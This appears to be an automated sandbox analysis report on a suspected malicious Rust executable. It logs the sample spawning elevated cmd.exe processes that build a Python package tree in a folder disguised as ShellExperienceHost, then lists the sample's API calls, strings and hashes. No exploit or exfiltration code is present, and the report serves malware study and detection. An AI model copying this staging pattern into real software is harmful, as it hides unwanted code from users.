Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\PyYAML-5.3.1.dist-info\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 160 Parent PID: 2484

General

Start time:	14:38:56
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5508 Parent PID: 2484

General

Start time:	14:38:57
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\requests-2.25.1.dist-info\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5504 Parent PID: 2484

General

Start time:	14:38:57
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6140 Parent PID: 2484

General

Start time:	14:38:58
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools-51.0.0.dist-info\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 5008 Parent PID: 2484

General

Start time:	14:38:58
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\command\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 4448 Parent PID: 2484

General

Start time:	14:38:59
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\extern\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6264 Parent PID: 2484

General

Start time:	14:38:59
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6272 Parent PID: 2484

General

Start time:	14:39:00
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_distutils\command\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6256 Parent PID: 2484

General

Start time:	14:39:01
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_vendor\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6300 Parent PID: 2484

General

Start time:	14:39:01
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\setuptools\_vendor\packaging\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6228 Parent PID: 2484

General

Start time:	14:39:02
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\shellescape\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6304 Parent PID: 2484

General

Start time:	14:39:02
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\shellescape-3.8.1.dist-info\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6252 Parent PID: 2484

General

Start time:	14:39:03
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\six-1.15.0.dist-info\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 4920 Parent PID: 2484

General

Start time:	14:39:03
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\socketio\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6392 Parent PID: 2484

General

Start time:	14:39:04
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6380 Parent PID: 2484

General

Start time:	14:39:04
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3-1.26.2.dist-info\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6404 Parent PID: 2484

General

Start time:	14:39:04
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\contrib\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6416 Parent PID: 2484

General

Start time:	14:39:05
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\contrib\_securetransport\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6172 Parent PID: 2484

General

Start time:	14:39:05
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\packages\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6360 Parent PID: 2484

General

Start time:	14:39:06
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\packages\backports\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 808 Parent PID: 2484

General

Start time:	14:39:06
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\packages\ssl_match_hostname\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 3236 Parent PID: 2484

General

Start time:	14:39:07
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\urllib3\util\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6488 Parent PID: 2484

General

Start time:	14:39:07
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6476 Parent PID: 2484

General

Start time:	14:39:08
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\tests\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6460 Parent PID: 2484

General

Start time:	14:39:08
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket\tests\data\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6444 Parent PID: 2484

General

Start time:	14:39:09
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\websocket_client-0.57.0.dist-info\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6596 Parent PID: 2484

General

Start time:	14:39:09
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6592 Parent PID: 2484

General

Start time:	14:39:10
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel-0.36.2.dist-info\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6612 Parent PID: 2484

General

Start time:	14:39:10
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\cli\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6556 Parent PID: 2484

General

Start time:	14:39:11
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\vendored\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6548 Parent PID: 2484

General

Start time:	14:39:12
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\wheel\vendored\packaging\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6580 Parent PID: 2484

General

Start time:	14:39:12
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6528 Parent PID: 2484

General

Start time:	14:39:13
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32com\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6632 Parent PID: 2484

General

Start time:	14:39:13
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6540 Parent PID: 2484

General

Start time:	14:39:14
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\adsi\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6616 Parent PID: 2484

General

Start time:	14:39:14
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\adsi\demos\
Imagebase:	0xbd0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: cmd.exe PID: 6508 Parent PID: 2484

General

Start time:	14:39:15
Start date:	13/07/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\win32comext\authorization\
Imagebase:
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: 8v4iWYLvKJ.exe PID: 5688 Parent PID: 5548 8v4iWYLvKJ.exeCOMMON

Executed Functions

Function 00007FF6566D85A0, Relevance: 42.8, APIs: 6, Strings: 17, Instructions: 2548memorythreadCOMMON

Download Yara Rule

APIs

WakeAllConditionVariable.KERNEL32 ref: 00007FF6566DA68F
AddVectoredExceptionHandler.KERNEL32 ref: 00007FF6566DB363
SetThreadStackGuarantee.KERNEL32 ref: 00007FF6566DB37C
GetLastError.KERNEL32 ref: 00007FF6566DB385
GetProcessHeap.KERNEL32 ref: 00007FF6566DB393
HeapAlloc.KERNEL32 ref: 00007FF6566DB3A3

Strings

failed to install exception handler, xrefs: 00007FF6566DB41E
Failed to `Enter::block_on`, xrefs: 00007FF6566DA1C9
setybdet, xrefs: 00007FF6566D8A7A
called `Result::unwrap()` on an `Err` valueC:\Users\yyy\.cargo\registry\src\github.com-1ecc6299db9ec823\zip-0.5.13\src\cp437.rs, xrefs: 00007FF6566DA238
cannot access a Thread Local Storage value during or after destruction, xrefs: 00007FF6566DA2B2
Oh no! We never placed the Inner state back, this is a bug!, xrefs: 00007FF6566DA2CF
arenegyl, xrefs: 00007FF6566D8A65
internal error: entered unreachable codewaker missing, xrefs: 00007FF6566DA14A
failed to reserve stack space for exception handling, xrefs: 00007FF6566DB444
invalid state, xrefs: 00007FF6566DA28E
assertion failed: context.tasks.borrow().owned.is_empty(), xrefs: 00007FF6566DB30C
assertion failed: self.tail.is_none(), xrefs: 00007FF6566DB324
uespemos, xrefs: 00007FF6566D8A34
Cannot drop a runtime in a context where blocking is not allowed. This happens when a runtime is dropped from within an asynchronous context., xrefs: 00007FF6566DB33C
modnarod, xrefs: 00007FF6566D8A44
there is no reactor running, must be called from the context of a Tokio 1.x runtime, xrefs: 00007FF6566DA1E8
failed to park threadC:\Users\yyy\.cargo\registry\src\github.com-1ecc6299db9ec823\tokio-1.6.1\src\runtime\thread_pool\mod.rs, xrefs: 00007FF6566DA271

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocConditionErrorExceptionGuaranteeHandlerLastProcessStackThreadVariableVectoredWake
String ID: Cannot drop a runtime in a context where blocking is not allowed. This happens when a runtime is dropped from within an asynchronous context.$Failed to `Enter::block_on`$Oh no! We never placed the Inner state back, this is a bug!$arenegyl$assertion failed: context.tasks.borrow().owned.is_empty()$assertion failed: self.tail.is_none()$called `Result::unwrap()` on an `Err` valueC:\Users\yyy\.cargo\registry\src\github.com-1ecc6299db9ec823\zip-0.5.13\src\cp437.rs$cannot access a Thread Local Storage value during or after destruction$failed to install exception handler$failed to park threadC:\Users\yyy\.cargo\registry\src\github.com-1ecc6299db9ec823\tokio-1.6.1\src\runtime\thread_pool\mod.rs$failed to reserve stack space for exception handling$internal error: entered unreachable codewaker missing$invalid state$modnarod$setybdet$there is no reactor running, must be called from the context of a Tokio 1.x runtime$uespemos
API String ID: 3892847811-1889962447
Opcode ID: d5ec9f1845a96d9a310843ad17cd0d9e76214f336b956c75f53d4c5a067ff92f
Instruction ID: dd53d10a122e31375c8769f8e60dfdf9687d5b015db08a3736c192efd706d2fe
Opcode Fuzzy Hash: d5ec9f1845a96d9a310843ad17cd0d9e76214f336b956c75f53d4c5a067ff92f
Instruction Fuzzy Hash: 25438032A0DBC181EB60DB15E4503FAA3A0FB84784F584235DA8DA7B99DF3EE545DB01

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6566D2B68, Relevance: 20.0, APIs: 1, Strings: 10, Instructions: 744COMMON

Download Yara Rule

Strings

httphttpswswssfile//, xrefs: 00007FF6566D44DC
called `Result::unwrap()` on an `Err` valueC:\Users\yyy\.cargo\registry\src\github.com-1ecc6299db9ec823\zip-0.5.13\src\cp437.rs, xrefs: 00007FF6566D81ED
Client::new(), xrefs: 00007FF6566D831D
D, xrefs: 00007FF6566D2CF6
APPDATA, xrefs: 00007FF6566D2E2F
Z, xrefs: 00007FF6566D4223
`async fn` resumed after completionfailed to park threadC:\Users\yyy\.cargo\registry\src\github.com-1ecc6299db9ec823\tokio-1.6.1\src\runtime\thread_pool\mod.rs, xrefs: 00007FF6566D81AE, 00007FF6566D8366, 00007FF6566D838E
*/*NO_PROXYno_proxy, xrefs: 00007FF6566D3055
failed to spawn thread, xrefs: 00007FF6566D821D
Pending error polled more than once, xrefs: 00007FF6566D8335

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: */*NO_PROXYno_proxy$APPDATA$Client::new()$D$Pending error polled more than once$Z$`async fn` resumed after completionfailed to park threadC:\Users\yyy\.cargo\registry\src\github.com-1ecc6299db9ec823\tokio-1.6.1\src\runtime\thread_pool\mod.rs$called `Result::unwrap()` on an `Err` valueC:\Users\yyy\.cargo\registry\src\github.com-1ecc6299db9ec823\zip-0.5.13\src\cp437.rs$failed to spawn thread$httphttpswswssfile//
API String ID: 0-1958038414
Opcode ID: a33ef6f8fa4db9e6d9d8516db5fb2d4e9f83dfbcce3c034c7d2e8219cdafa0d2
Instruction ID: 786434abcc53552cfa0d87aa01b254ca368f9e35437e749db5a41c912f6dcbf7
Opcode Fuzzy Hash: a33ef6f8fa4db9e6d9d8516db5fb2d4e9f83dfbcce3c034c7d2e8219cdafa0d2
Instruction Fuzzy Hash: 44826A32508BC281E7719B14E8553EAB3B4FB84744F488135DA8CA7B99EF7ED199CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF656785140, Relevance: 19.7, APIs: 12, Strings: 1, Instructions: 234memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF65677B1A0: GetLastError.KERNEL32(?,?,?,?,?,?,?,00007FF656785D03,?,?,?,?,?,?,?,?), ref: 00007FF65677B1D6

GetProcessHeap.KERNEL32 ref: 00007FF656785284
HeapAlloc.KERNEL32 ref: 00007FF656785294
GetProcessHeap.KERNEL32 ref: 00007FF6567852BA
HeapAlloc.KERNEL32 ref: 00007FF6567852CA
GetProcessHeap.KERNEL32 ref: 00007FF6567852E9
HeapAlloc.KERNEL32 ref: 00007FF6567852F9
GetProcessHeap.KERNEL32 ref: 00007FF656785381
HeapFree.KERNEL32 ref: 00007FF65678538E

Strings

called `Option::unwrap()` on a `None` value, xrefs: 00007FF656785447

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.217599055.00007FF6567BE000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.218433368.00007FF6568CF000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.218443945.00007FF6568D1000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.218458124.00007FF6568D4000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$Alloc$ErrorFreeLast
String ID: called `Option::unwrap()` on a `None` value
API String ID: 2557328389-836832528
Opcode ID: f7e03842027e4bee7f25cbdbab846801123e231083a03d07a73e5df715d0fcca
Instruction ID: 24ed9664d40c54c43c065106eff45b03afac0c12bdb6cfe07da79025f35ea778
Opcode Fuzzy Hash: f7e03842027e4bee7f25cbdbab846801123e231083a03d07a73e5df715d0fcca
Instruction Fuzzy Hash: 0F81F922E1D64241FAA49B26D4713B96351AF84B80F0D9135EE5DB77E6EE3EE942C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6567898D0, Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 132memorynetworkCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,00007FF656789873,?,?,?,?,?,?,?,?,00007FF656789560), ref: 00007FF65678992A
HeapAlloc.KERNEL32(?,?,?,00007FF656789873,?,?,?,?,?,?,?,?,00007FF656789560), ref: 00007FF65678993A
GetProcessHeap.KERNEL32(?,?,?,00007FF656789873,?,?,?,?,?,?,?,?,00007FF656789560), ref: 00007FF656789955
HeapAlloc.KERNEL32(?,?,?,00007FF656789873,?,?,?,?,?,?,?,?,00007FF656789560), ref: 00007FF656789965
GetProcessHeap.KERNEL32(?,?,?,00007FF656789873,?,?,?,?,?,?,?,?,00007FF656789560), ref: 00007FF656789980
HeapAlloc.KERNEL32(?,?,?,00007FF656789873,?,?,?,?,?,?,?,?,00007FF656789560), ref: 00007FF656789990
WSAStartup.WS2_32 ref: 00007FF656789A4F

Strings

assertion failed: len as usize >= mem::size_of::<c::sockaddr_in6>(), xrefs: 00007FF6567899D8
called `Option::unwrap()` on a `None` value, xrefs: 00007FF656789A72
assertion failed: len as usize >= mem::size_of::<c::sockaddr_in>(), xrefs: 00007FF6567899F2

Memory Dump Source

Source File: 00000001.00000002.216890138.00007FF6566D1000.00000020.00020000.sdmp, Offset: 00007FF6566D0000, based on PE: true

Associated: 00000001.00000002.216857475.00007FF6566D0000.00000002.00020000.sdmp Download File
